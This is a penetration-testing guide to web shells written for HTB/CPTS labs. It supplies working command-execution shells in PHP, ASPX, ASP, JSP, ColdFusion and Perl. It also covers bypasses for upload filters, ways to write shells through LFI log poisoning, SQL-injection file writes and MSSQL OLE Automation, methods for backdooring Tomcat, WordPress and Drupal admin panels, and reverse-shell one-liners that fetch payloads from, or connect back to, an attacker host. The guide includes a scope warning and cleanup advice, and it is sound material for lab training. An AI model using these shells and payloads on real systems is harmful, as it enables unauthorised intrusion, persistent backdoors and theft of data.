Web Shells
A web shell is a script in the server’s own language (PHP, ASP.NET, classic ASP, JSP, CFML, Perl) that runs OS commands when it sits in a directory the web server executes. Getting one working takes two steps. First, write a shell the target will actually run. Second, land it there, through an upload, a filter bypass, an LFI or SQLi write primitive, or an admin interface. After that you drive it, upgrade it to a real reverse shell, and remove it.
This page follows the CPTS path (Shells & Payloads → Landing a Web Shell, File Upload Attacks, Attacking Common Applications, SQL Injection). It covers each step in the order you meet it on a box.
[!danger]+ Scope Use these techniques only on HTB, HTB Academy, deliberately vulnerable labs, or systems you are authorised in writing to test. A dropped
.phpor.aspxfile is a persistent backdoor. Track it and delete it.
Fingerprint the stack first
The most common failure is uploading a shell in a language the server does not execute. A .php file on IIS/ASP.NET comes back as plain text. Identify the handler before you write anything.
| Server / tech | Tells | Shell format |
|---|---|---|
| Apache / Nginx + PHP | X-Powered-By: PHP, /index.php serves the same page as /, PHPSESSID | .php .phtml .php5 .pht .phar |
| IIS + ASP.NET | Server: Microsoft-IIS, X-AspNet-Version, aspnet_client/, ASP.NET_SessionId | .aspx (also .ashx / .asmx if mapped) |
| IIS + classic ASP | legacy .asp URLs, ASPSESSIONID* cookie | .asp (.asa / .cer on old configs) |
| Tomcat / JBoss / WildFly | :8080, Coyote banner, /manager, JSESSIONID, /jmx-console | .jsp, or a .war to deploy |
| ColdFusion | .cfm, :8500, /CFIDE/ | .cfm |
| CGI | /cgi-bin/, .pl / .cgi | Perl / shell CGI |
curl -sI http://target.htb/ | grep -iE 'server|x-powered-by|x-aspnet|set-cookie'
for e in php asp aspx jsp; do printf '%s ' $e; curl -s -o /dev/null -w '%{http_code}\n' http://target.htb/index.$e; done
whatweb -a 3 http://target.htb/
Prove execution before you send commands
A message like “upload successful” only tells you a file was stored. It does not tell you the server will run it. Upload a harmless arithmetic probe first. If the page shows 49, the handler ran your code. If it shows the source, the file is stored but will never execute, so pick another path.
<?php echo 7*7; ?>
<%@ Page Language="C#" %><%= 7*7 %>
<%= 7*7 %>
<cfoutput>#7*7#</cfoutput>
Writing the shell
PHP
<?php system($_REQUEST['cmd']); ?> // GET or POST, prints output
<?php echo shell_exec($_GET['cmd']); ?> // returns the whole output as a string
<?php passthru($_REQUEST['cmd']); ?> // raw byte stream, fine for binary output
<?php if(isset($_POST['c'])) system($_POST['c']); ?> // POST-only, keeps commands out of the query string in access logs
PHP has several exec functions, and admins often block some of them with disable_functions. system() prints the output and returns the last line. shell_exec() and backticks return everything as a string, so you need to echo it. exec() returns only the last line unless you pass it an $output array. If one is disabled, try passthru, proc_open, popen and pcntl_exec in turn. To see the blocklist, run <?php var_dump(ini_get('disable_functions')); ?>. If every exec function is blocked, look for an LD_PRELOAD/mail() style bypass or move to another primitive.
Prebuilt shells for when a one-liner isn’t enough:
ls /usr/share/webshells/php/ # Kali: simple-backdoor.php, php-reverse-shell.php …
cp /usr/share/webshells/php/php-reverse-shell.php . # pentestmonkey: edit $ip / $port
# phpbash https://github.com/Arrexel/phpbash semi-interactive terminal in the browser
# p0wny-shell https://github.com/flozz/p0wny-shell single file, prompt UI
# wwwolf https://github.com/WhiteWinterWolf/wwwolf-php-webshell still works when system() is filtered
weevely generates an obfuscated, password-protected agent and gives you a client with real modules: file ops, SQL client, port scanning, and proxying through the box.
weevely generate 'S3cretPass' agent.php
weevely http://target.htb/uploads/agent.php 'S3cretPass'
msfvenom builds PHP payloads that use the PHP networking API instead of calling a shell, so they still work when system() doesn’t. msfvenom sometimes drops the opening tag. Check the file’s first bytes:
msfvenom -p php/reverse_php LHOST=10.10.14.2 LPORT=443 -f raw -o rev.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=443 -f raw -o met.php
head -c 5 rev.php | grep -q '<?php' || sed -i '1s/^/<?php /' rev.php
ASPX (IIS + ASP.NET)
This is a minimal C# shell. It captures stderr (a bare cmd /c loses it, so failed commands come back blank) and HTML-encodes the output:
<%@ Page Language="C#" ValidateRequest="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object s, EventArgs e) {
if (Request["cmd"] == null) return;
var psi = new ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]) {
RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
var p = Process.Start(psi);
string o = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
p.WaitForExit();
Response.Write("<pre>" + Server.HtmlEncode(o) + "</pre>");
}
</script>
ValidateRequest="false" stops ASP.NET request validation from rejecting commands that contain <, > or quotes.
Antak (from Nishang) is an ASPX shell built on PowerShell. Each command runs as a new process, it can run scripts in memory, and it has a login form. Set the credentials around line 14 before you upload it. Laudanum’s shell.aspx restricts access by source IP: set allowedIps around line 59 and strip the ASCII-art banner, which antivirus engines detect.
cp /usr/share/nishang/Antak-WebShell/antak.aspx ./Upload.aspx # set user/pass
cp /usr/share/laudanum/aspx/shell.aspx ./demo.aspx # set allowedIps, strip comments
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=443 -f aspx -o met.aspx
[!warning]+ The
.asp/.aspxmismatch trap Classic ASP (VBScript,Server.CreateObject) and ASP.NET (C#,<script runat="server">) are different languages. VBScript saved as.aspxdoes not run. IIS returns the generic “Server Error in ’/’ Application” page, and becausecustomErrorsis on it hides the real parse error. When you see that red page, check that the code language matches the extension before you debug anything else.
Classic ASP (legacy IIS)
<% Set o = Server.CreateObject("WScript.Shell")
Set e = o.Exec("cmd /c " & Request("cmd"))
Response.Write("<pre>" & e.StdOut.ReadAll() & e.StdErr.ReadAll() & "</pre>") %>
This runs only if the IIS Classic ASP role feature is installed. The 7*7 probe in .asp (<%= 7*7 %>) tells you whether it is.
JSP and WAR (Tomcat / JBoss)
Runtime.exec(String) does not start a shell. It splits the string on spaces, so pipes, redirects and && do nothing. Call /bin/sh -c or cmd.exe /c explicitly, based on the OS:
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
boolean w = System.getProperty("os.name").toLowerCase().contains("win");
String[] a = w ? new String[]{"cmd.exe","/c",c} : new String[]{"/bin/sh","-c",c};
Process p = new ProcessBuilder(a).redirectErrorStream(true).start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; out.println("<pre>");
while ((l = r.readLine()) != null) out.println(l);
out.println("</pre>");
}
%>
A WAR is a zip archive. Tomcat extracts it and serves it under /<war-name>/:
mkdir w && cp cmd.jsp w/ && (cd w && jar -cvf ../backup.war .) # or: zip -r backup.war cmd.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f war -o rev.war
unzip -l rev.war # msfvenom picks a random .jsp name, and that is the path that triggers the shell
Other stacks
<!-- ColdFusion -->
<cfexecute name="C:\Windows\System32\cmd.exe" arguments="/c #URL.cmd#" timeout="20" variable="o"></cfexecute>
<cfoutput><pre>#o#</pre></cfoutput>
#!/usr/bin/perl
# Perl CGI: needs the exec bit and a CGI-enabled directory
use CGI; my $q = CGI->new; print $q->header('text/plain'); print `${\ $q->param('cmd')} 2>&1`;
Python frameworks don’t execute arbitrary .py files from the webroot. When the bug is Python code injection (SSTI, eval), run your payload inline with __import__('os').popen('id').read() instead of dropping a file.
House shells: the rp-shell family
The vault ships four single-file shells that share one UI. Each has a banner showing HOSTNAME :: whoami, a working directory that persists between requests, stderr capture, one-click enumeration buttons (whoami /priv, sudo -l, SUID hunt), file download via ?get=, and an upload form (in the PHP and ASPX versions) for staging nc.exe, PrintSpoofer or chisel.
| File | Stack |
|---|---|
| rp-shell.php (sha256) | Apache/Nginx + PHP; works through shell_exec, then fallbacks, when functions are disabled |
| nt-webshell-rosepine.aspx (sha256) | IIS + ASP.NET (C#) |
| rp-shell.asp (sha256) | IIS + classic ASP (VBScript) |
| rp-shell.jsp (sha256) | Tomcat / JBoss; detects the OS automatically; put it inside a .war |
The house shells have no authentication. Use them in labs only and delete them as soon as you’re done.
Where the prebuilt shells live
| Source | Path |
|---|---|
| Kali webshells | /usr/share/webshells/{php,asp,aspx,jsp,perl,cfm}/ |
| Laudanum | /usr/share/laudanum/ |
| Nishang / Antak | /usr/share/nishang/Antak-WebShell/ |
| SecLists | /usr/share/seclists/Web-Shells/ |
| tennc/webshell | github.com/tennc/webshell (fuzzdb cmd.jsp / cmd.aspx live here) |
Landing it: file upload
The CPTS File Upload Attacks module puts upload defences into layers. Find out which layer is rejecting you and defeat only that one, leaving everything else about the file unchanged. The full technique list is on HackTricks · File Upload and PayloadsAllTheThings · Upload Insecure Files.
flowchart TD
A[Upload shell.php] --> B{Rejected before any request leaves the browser?}
B -- yes --> C[Client-side JS: edit the request in Burp or delete the onchange handler]
B -- no --> D{Error mentions the extension?}
D -- yes --> E{Other script extensions accepted?}
E -- yes --> F[Blacklist: .phtml .php5 .pht, mixed case]
E -- no --> G[Whitelist: shell.jpg.php, shell.php.jpg, char injection]
D -- no --> H{Error says 'only images'?}
H -- yes --> I[Content-Type header → image/gif; MIME → GIF8 magic bytes]
C & F & G & I --> J[Find the upload path and browse to it]
1. Client-side validation
If the browser blocks the file and no HTTP request is sent, the check is JavaScript running on your machine. You have two options. In Burp, intercept a normal image upload and change filename="x.png" to shell.php and the body to your shell. Or open the Inspector (Ctrl+Shift+C) and delete onchange="checkFile(this)" from the <input>. The accept=".jpg,.png" attribute only filters what the file picker shows by default; choose All Files to get around it.
2. Extension blacklist
A blacklist only blocks the extensions the developer thought to list. Fuzz the extension in Burp Intruder or ffuf. Untick URL-encoding, otherwise Intruder sends the . as %2e. Then sort the results by response length:
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt \
-u http://target.htb/upload.php -X POST \
-H 'Content-Type: multipart/form-data; boundary=x' \
-d $'--x\r\nContent-Disposition: form-data; name="uploadFile"; filename="shellFUZZ"\r\nContent-Type: image/png\r\n\r\n<?php echo 7*7; ?>\r\n--x--\r\n' \
-fr 'Extension not allowed'
| Stack | Alternate executable extensions |
|---|---|
| PHP | .phtml .php3 .php4 .php5 .php7 .pht .phps .phar .pgif .inc |
| ASP / ASP.NET | .asp .aspx .asa .cer .ashx .asmx .config |
| JSP | .jsp .jspx .jsw .jsv .jspf |
Getting past the blacklist does not guarantee the file runs. Whether .phtml executes depends on the web server’s handler mapping, so test each accepted extension with the 7*7 probe. On Windows the filesystem is case-insensitive, so shell.pHp gets past a lowercase-only check.
3. Extension whitelist
A whitelist regex without an end anchor, such as preg_match('/^.*\.(jpg|jpeg|png|gif)/', $name), only checks that .jpg appears somewhere in the name. So shell.jpg.php passes and is still stored and served as PHP.
When the application anchors its regex correctly, the web server’s handler regex can still have the same mistake. A common Apache PHP config looks like this:
<FilesMatch ".+\.ph(ar|p|tml)"> # no trailing $
SetHandler application/x-httpd-php
</FilesMatch>
That pattern matches .php anywhere in the filename, so shell.php.jpg passes the app’s whitelist and Apache still hands it to PHP. Character-injection permutations cover older parsing quirks: %00 truncation on PHP before 5.3.4, and : creating an NTFS alternate data stream on IIS (shell.aspx:.jpg writes shell.aspx):
for c in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for e in '.php' '.phps' '.phtml'; do
printf '%s\n' "shell$c$e.jpg" "shell$e$c.jpg" "shell.jpg$c$e" "shell.jpg$e$c"
done
done > names.txt
4. Content-Type header and MIME type
There are two different checks that look alike. The Content-Type header on the multipart file part is set by the browser from the file extension, so you control it completely. Change it to an allowed value and leave the PHP body as it is:
Content-Disposition: form-data; name="uploadFile"; filename="shell.php"
Content-Type: image/gif
<?php system($_REQUEST['cmd']); ?>
This is the bypass used in Landing a Web Shell against rConfig: change application/x-php to image/gif on the Vendor Logo upload, and the shell runs from /images/vendor/connect.php. To find which values are accepted, fuzz them: grep image/ /usr/share/seclists/Miscellaneous/Web/content-type.txt.
The MIME type comes from the server reading the file’s first bytes (mime_content_type(), finfo, file). GIF is the easiest signature to fake because it is printable ASCII:
printf 'GIF8\n<?php system($_REQUEST["cmd"]); ?>' > shell.php
file shell.php # shell.php: GIF image data
The command output will start with a literal GIF8 line. That’s expected. When a filter checks extension, header and magic bytes together, combine all three bypasses: shell.phtml + image/gif + GIF8.
5. “Must be a real image”
When the server re-reads the file as an image (for example getimagesize()), use a valid image with the payload hidden in its metadata. On its own this executes only if you can also get the file interpreted as PHP: through an extension bypass, an .htaccess change, or an LFI that includes it.
exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg
Image resizing strips EXIF data. If the server re-encodes uploads, put the payload in the IDAT chunk instead (PNG IDAT payloads are designed to survive GD re-encoding).
6. Upload a config file and change the handler
If you can write a server config file into the upload directory, you can make the server run your shell under any extension you like:
# .htaccess (Apache with AllowOverride): .shell files now run as PHP
AddType application/x-httpd-php .shell
On IIS, an uploaded web.config can map a handler or carry inline ASP. See HackTricks · IIS for the payload, and for the Windows 8.3 short-name trick, where uploading WEB~1.CON can overwrite web.config.
7. Finding where the file went
- Check the upload response, the redirect, and the HTML or JSON that shows the file. Look for a generated name, UUID or media URL.
- Fuzz common paths:
/uploads/upload/files/images/media/avatars/assets/Portals/0(DNN), and/wp-content/uploads/YYYY/MM/(WordPress). - Trigger an error that leaks the path: upload the same name twice, send two uploads in parallel (Burp send group in parallel), or use a ~5000-character filename.
- Read the source. An XXE inside an uploaded SVG with
php://filter/convert.base64-encode/resource=upload.phpshows you the upload directory, the naming scheme and the filter logic in one go.
Other attacks through the upload form
The filename is input too. Try file$(whoami).jpg (it fires if the app calls mv without sanitising), <script>alert(1)</script>.jpg, and file';select sleep(5);--.jpg. When scripts are blocked completely, SVG and HTML uploads still give you stored XSS and XXE. That doesn’t give you a shell, but it can leak the code and the paths you need for one.
Landing it: other write primitives
LFI
If you can include a file but not upload one, write PHP somewhere the application will include it. Options include a poisoned access log, a PHP session file, php://input, data://, or an uploaded zip or phar opened through zip:// or phar://. The full workflow is on File Inclusion (LFI/RFI):
curl -s http://target.htb/ -A '<?php system($_GET["cmd"]); ?>'
curl -s 'http://target.htb/index.php?language=/var/log/apache2/access.log&cmd=id'
With RFI (allow_url_include=On), host the shell yourself. On Windows, an SMB share works even when allow_url_include is off:
python3 -m http.server 80 # ?language=http://10.10.14.2/shell.php&cmd=id
impacket-smbserver -smb2support share $(pwd) # ?language=\\10.10.14.2\share\shell.php&cmd=whoami
SQL injection → INTO OUTFILE
This needs a DB user with the FILE privilege, an empty secure_file_priv, and a webroot that both exists and is writable by the mysql user. Write a harmless proof file before you write the shell.
cn' UNION SELECT 1, variable_value, 3, 4 FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- -
cn' UNION SELECT 1, 'proof', 3, 4 INTO OUTFILE '/var/www/html/proof.txt'-- -
cn' UNION SELECT "", '<?php system($_REQUEST[0]); ?>', "", "" INTO OUTFILE '/var/www/html/s.php'-- -
Using "" for the other columns keeps them from adding stray values around the payload. With sqlmap:
sqlmap -u 'http://target.htb/?id=1' --is-dba
sqlmap -u 'http://target.htb/?id=1' --file-write shell.php --file-dest /var/www/html/shell.php
sqlmap -u 'http://target.htb/?id=1' --os-shell --technique=E # if UNION output stalls, use error-based
MSSQL can write files through OLE Automation, which needs sysadmin. Write to C:\inetpub\wwwroot\:
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
DECLARE @o INT, @f INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'OpenTextFile', @f OUT, 'C:\inetpub\wwwroot\s.aspx', 8, 1;
EXEC sp_OAMethod @f, 'WriteLine', NULL, '<%@ Page Language="C#" %><%= System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}).StandardOutput.ReadToEnd() %>';
EXEC sp_OADestroy @f; EXEC sp_OADestroy @o;
WebDAV, FTP and writable shares
davtest -url http://target.htb/webdav/ # shows which extensions upload AND execute
curl -T shell.txt http://target.htb/webdav/shell.txt && \
curl -X MOVE -H 'Destination: http://target.htb/webdav/shell.asp;.txt' http://target.htb/webdav/shell.txt # IIS 6 ';' parsing quirk
cadaver http://target.htb/webdav/
Look for an anonymous or credentialed FTP or SMB share whose root is the IIS or Apache webroot. Signs include aspnet_client/, iisstart.htm or index.html in the listing. put shell.aspx, then browse to it. If you already have a foothold and icacls C:\inetpub\wwwroot shows (F) or (M) for your user, the same applies.
Landing it: admin panels and CMSs
Admin access to most web platforms already gives you code execution. You just need to know where the editor is. The Attacking Common Applications guide covers enumeration. This section covers getting the shell.
Use a parameter name nobody would guess (an MD5 string, not cmd), and edit files in an inactive theme or template so the live site doesn’t break.
Tomcat Manager
/manager/html (GUI) and /manager/text (API) accept a WAR upload from any account with the manager-gui or manager-script role. Try the default credentials (tomcat:tomcat, tomcat:s3cret, admin:admin, admin: with a blank password) or brute-force with auxiliary/scanner/http/tomcat_mgr_login.
curl -u tomcat:s3cret -T backup.war 'http://target.htb:8080/manager/text/deploy?path=/backup'
curl 'http://target.htb:8080/backup/cmd.jsp?cmd=id'
curl -u tomcat:s3cret 'http://target.htb:8080/manager/text/undeploy?path=/backup' # cleanup
The Tomcat service often runs as SYSTEM on Windows and sometimes as root on Linux. Metasploit’s exploit/multi/http/tomcat_mgr_upload automates the whole sequence. On JBoss, deploy through /jmx-console → jboss.system:service=MainDeployer.
WordPress
As an Administrator: Appearance → Theme File Editor → pick an inactive theme → 404.php. If the block editor hides the theme editor, upload a plugin zip containing your PHP file (Plugins → Add New → Upload). Metasploit’s exploit/unix/webapp/wp_admin_shell_upload does this for you.
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
curl 'http://blog.target.htb/wp-content/themes/twentynineteen/404.php?dcfdd5e021a869fcc6dfaef8bf31377e=id'
Without admin, look for vulnerable plugins with wpscan --enumerate ap --api-token …. wpDiscuz (CVE-2020-24186) validates attachments only by MIME type, which allows an unauthenticated PHP upload into /wp-content/uploads/YYYY/MM/.
Joomla
System → Templates → Site Templates → protostar/cassiopeia → Customise → error.php. Then browse to /templates/protostar/error.php?<param>=id. Joomla’s login page gives the same error for a wrong username and a wrong password, so brute-force the admin account with a password list rather than spraying user/password pairs.
Drupal
Drupal has no built-in theme editor. Drupal 7 includes the PHP filter module in core: enable it, create a Basic page with the PHP code text format, and visit /node/<id>?<param>=id. In Drupal 8 and later you have to install the module first (php-8.x-1.1.tar.gz). The alternative is to backdoor a real module: unpack captcha, add your shell.php plus an .htaccess (because /modules denies direct access), repack it, install it through Extend, and browse to /modules/captcha/shell.php. Without credentials, try Drupalgeddon 1, 2 or 3 (CVE-2014-3704 / 2018-7600 / 2018-7602).
Other platforms
| Platform | Path to a shell |
|---|---|
| DotNetNuke | Settings → Security → More Security Settings: add aspx to Allowable File Extensions → upload through Assets → /Portals/0/shell.aspx |
| rConfig | Devices → Vendors → Add Vendor logo upload + Content-Type: image/gif → /images/vendor/<file>.php |
| Jenkins | Script Console runs Groovy, so you don’t need a file: "cmd /c whoami".execute().text |
| phpMyAdmin (root) | SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/s.php' from the SQL tab |
| Splunk / GitLab / PRTG | Use the built-in script or notification features. See Attacking Common Applications |
Driving the shell
Let curl do the URL-encoding. If you type ?cmd=id && hostname by hand, the & ends the parameter and only id runs.
SHELL_URL='http://target.htb/uploads/shell.php'
curl -sG "$SHELL_URL" --data-urlencode 'cmd=id 2>&1'
curl -s "$SHELL_URL" --data-urlencode 'cmd=cat /etc/passwd' # POST, which keeps the query string short
curl -sG "$SHELL_URL" --data-urlencode 'cmd=whoami /priv' | sed -n '/<pre>/,/<\/pre>/p'
Each request starts a fresh process. A cd does not carry over, interactive prompts hang, and sudo cannot read a password. Use absolute paths, chain commands into one request (cd /opt && ls -la), and append 2>&1 when the output is blank. For a pseudo-terminal, a small loop is enough:
while read -rp 'web$ ' c; do curl -sG "$SHELL_URL" --data-urlencode "cmd=$c 2>&1"; done
First commands to run
# Linux
id; pwd; uname -a; command -v bash python3 perl php nc curl wget socat; ls -la /home
# Windows
whoami /all & hostname & ipconfig & where powershell
On Windows, check whether whoami /priv shows SeImpersonatePrivilege. The IIS APPPOOL\*, NT AUTHORITY\NETWORK SERVICE and MSSQL service accounts almost always have it, which means a Potato-family exploit can take you to SYSTEM. See the Potato Attacks guide.
Upgrading to a reverse shell
A web shell is a stepping stone. Once you have confirmed execution, start a listener and send a reverse shell through it. Use port 443 or 80, since egress filters usually allow them.
nc -lvnp 443 # or: penelope -p 443 / pwncat-cs -lp 443 for an automatic PTY upgrade
# Linux targets, sent through the shell with --data-urlencode
bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.2 443 >/tmp/f
php -r '$s=fsockopen("10.10.14.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'
# Windows targets: base64 UTF-16LE so the quoting survives cmd.exe
powershell -nop -w hidden -enc <BASE64>
# or stage nc.exe: certutil -urlcache -f http://10.10.14.2/nc.exe C:\Windows\Temp\nc.exe & C:\Windows\Temp\nc.exe 10.10.14.2 443 -e cmd.exe
# generate the -enc blob on the attack box
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.2/rev.ps1")' | iconv -t UTF-16LE | base64 -w0
Stabilise the shell (python3 -c 'import pty;pty.spawn("/bin/bash")', Ctrl+Z, stty raw -echo; fg, then export TERM=xterm and stty rows/cols) before you do privilege escalation. The full set of one-liners, msfvenom formats and TTY upgrades is in the Foothold Toolkit.
If you get no callback but commands still run, the cause is usually egress filtering, a wrong LHOST interface (tun0, not eth0), or a missing interpreter. Test the route with curl http://10.10.14.2/x or certutil -urlcache -f http://10.10.14.2/x before you blame the payload. If nothing gets out, work through the web shell, or tunnel over HTTP with a webshell tunnel like reGeorg/Neo-reGeorg.
Troubleshooting
| Symptom | Likely cause | Check |
|---|---|---|
| Source shown or file downloads | No handler for that extension, or wrong language | 7*7 probe; re-fingerprint |
| IIS “Server Error in ’/’ Application” | VBScript in .aspx, or C# in .asp | Match the language to the extension |
404 right after “uploaded” | File was renamed, sits on another vhost, or is stored outside the webroot | Upload response body, Host header, --resolve |
403 | No execute permission on the upload directory, or a deny rule | Can you load a static file in the same directory? Check request filtering |
Blank 200 | Exec function disabled, stderr lost, or no cmd parameter | Static marker; 2>&1; var_dump(ini_get('disable_functions')) |
| Output truncated | Timeout or buffering | passthru; write a file and read it; switch to a reverse shell |
| Commands run, no callback | Egress filter, wrong LHOST, or missing interpreter | curl http://LHOST/x from the shell; check tun0; ss -lntp on the listener |
WAR deploy returns FAIL | Context already exists or wrong Manager role | GET /manager/text/list; pick a unique path |
Operational safety and cleanup
A web shell you leave behind is a live, unauthenticated backdoor, and the file on disk is the first thing a defender finds. Treat cleanup as part of the work.
- Restrict access while it’s live. Laudanum
allowedIps, Antak’s login, or a non-obvious parameter name plus a shared secret. Don’t leave an open?cmd=on a reachable host. - Record what you drop. Keep the local and server filename, the URL, the SHA-256, and the time, so the report has an artifact ledger and nothing is left orphaned.
- Remove everything at the end: the shell, any staged tools (
nc.exe, PrintSpoofer), uploaded WARs or plugins, and config changes (.htaccess, DNN extension list, Tomcat context). Verify the URL returns 404 afterwards. - Don’t submit payloads to public VirusTotal. It publishes the hash to every AV vendor and burns the sample.
sha256sum shell.php # before upload, for the evidence log
curl -fsS -u "$U:$P" "$BASE/manager/text/undeploy?path=/backup" # Tomcat undeploy
curl -s -o /dev/null -w '%{http_code}\n' "$SHELL_URL" # expect 404 after deletion
What defenders grep for, so you know what you’re leaving: new files with a recent mtime in upload directories; scripts containing system|shell_exec|passthru|eval|base64_decode|assert; ASPX with Process.Start or ASP with WScript.Shell; odd Content-Type on stored uploads; outbound connections from www-data, apache or IIS APPPOOL; and access-log hits carrying cmd= or ?c= query strings.
See also
- File Upload Attacks · HackTricks — full upload bypass reference
- Upload Insecure Files · PayloadsAllTheThings — extension lists and config-file tricks
- File Inclusion (LFI/RFI) — LFI/RFI-to-RCE delivery
- Command Injection Filter Bypass — the injection-side companion
- Foothold Toolkit: Shells, Payloads, Metasploit — reverse shells and TTY upgrades
- Attacking Common Applications — CMS and app enumeration
- IIS — Internet Information Services —
web.configexecution, writable webroot - Potato Attacks — SeImpersonatePrivilege to SYSTEM